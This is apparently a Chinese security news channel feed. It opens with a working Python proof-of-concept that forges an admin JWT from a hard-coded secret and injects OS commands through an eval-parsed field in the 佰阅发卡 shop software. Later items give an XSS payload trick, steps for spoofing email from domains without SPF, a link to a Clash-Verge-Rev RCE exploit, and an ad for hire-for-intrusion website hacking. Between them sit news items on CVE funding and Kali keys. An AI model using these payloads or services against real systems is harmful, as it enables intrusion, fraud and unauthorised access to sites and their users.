佰阅发卡存在RCE漏洞，省流：eval解析json+硬编码JWT secret

POC:

import requests

cmd = "ls /"
url = "http://xxx"
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6eyJlbWFpbCI6ImFkbWluQHFxLmNvbSJ9LCJleHAiOjE3NDQ4NzExNDZ9.jf8YjUqXWVschKPSvKjv7lcQZrhynLla6AWqH6WWavg"
resp = requests.post(
    url + "/api/v4/update_pays",
    headers={"Authorization": "Bearer " + jwt_token},
    json={
        "data": {
            # "config": f"[exec({payload!r}), f()][-1]",
            "config": f"__import__('os').popen({cmd!r}).read()",
            "icon": "\u652f\u4ed8\u5b9d",
            "id": 2,
            "info": "0\u8d39\u7387\u5b9e\u65f6\u5230\u8d26",
            "isactive": False,
            "name": "V\u514d\u7b7e\u652f\u4ed8\u5b9d",
        }
    },
)
resp = requests.get(
    url + "/api/v4/get_pays",
    headers={"Authorization": "Bearer " + jwt_token},
)
print([item["config"] for item in resp.json() if item.get("id") == 2].pop())

https://mp.weixin.qq.com/s/3fT7r6bHfzXs7vX0rMI54g

美国CVE漏洞数据库面临资金枯竭危机

美国非营利组织 MITRE 负责维护的全球网络安全关键漏洞数据库——“常见漏洞与披露”（CVE），由政府提供的资金将于本周三到期，或将面临停摆。

CVE漏洞数据库是全球网络安全生态系统的重要基石，为各组织提供漏洞编号、严重程度分级及详细描述。安全专家担忧，一旦CVE漏洞数据库停摆，将严重冲击全球漏洞管理与应变机制，对企业和 CERT（电脑紧急应变小组）等都将产生“快速且严重”的连锁反应。

路透社

📮投稿 ☘️频道 🌸聊天

声明：此人是骗子，请大家不要上当！

今日XSS小技巧之魅力javascript语法

''.replace.call`1${/.../}${alert}`

来源，所以这东西到底是怎么生效的，待我研究一下（

这个东西是JS的标签模板语法，本来是用来标记一个模板的

f`aaa${arg}bbb`就相当于f(["aaa","bbb"], arg)

所以''.replace.call`1${/.../}${alert}`就相当于''.replace.call(["1","",""], /.../, alert) ，也就是把第一个参数转成字符串"1,,"，用正则/.../匹配这个字符串，然后传给alert

所以说DNS配置不正确就可以伪造这个域名的邮件...

DNS中MX记录标记这个域名可以发送邮件，SPF记录标记哪些服务器可以用这个域名发送邮件

所以如果一个域名（比如说aaa.com）没有配置SPF，那任意服务器都可以用admin@aaa.com之类的邮箱给别人发邮件...

最后伪造邮件可以用emkei.cz这个网站

https://mp.weixin.qq.com/s/UFUBRg3BL1EMy0urkb6xxA

Clash-Verge-Rev 公网 RCE

https://github.com/bron1e/Clash-Verge-Rev-RCE

使用DNS重绑定+`0.0.0.0`day提升我们的CSRF，从而绕过SOP和PNA限制，这真的很酷~

#系统资讯 由于开发商失误现在所有 Kali Linux 用户必须手动更新 repo 密钥，否则未来几天 Kali Linux 将无法正常安装任何更新。

出现这种情况是因为 Kali Linux 开发者不慎丢失存储库密钥，如果用户不手动更新最新创建的密钥，则安装更新时会因为无法验证签名而失败。

查看全文：https://ourl.co/108901

→欢迎关注：蓝点网订阅频道
→欢迎关注：蓝点网X/Twitter
→联系编辑：山外的鸭子哥
→CN2GIA服务器仅99元/年

奇安信2024年净利降2022% 研发减千人

根据奇安信近日发布2024年度报告，公司实现营业收入43.49亿元，同比下降32.49%；归属于上市公司股东的净利润亏损13.79亿元，同比下降2022.46%，创下公司财报披露以来最大亏损。

同时，奇安信董事长齐向东降薪，年薪从2023年的165.28万元减至2024年的140.49万元。此外，该公司大幅减员1782人，缩减比例接近20%，其中研发人员属于“重灾区”——共计缩减965人，比例超27.5%。

新浪科技

📮投稿 ☘️频道 🌸聊天

帮一个好兄弟推一下！ 接国内外渗透拿站，联系：@anjingACE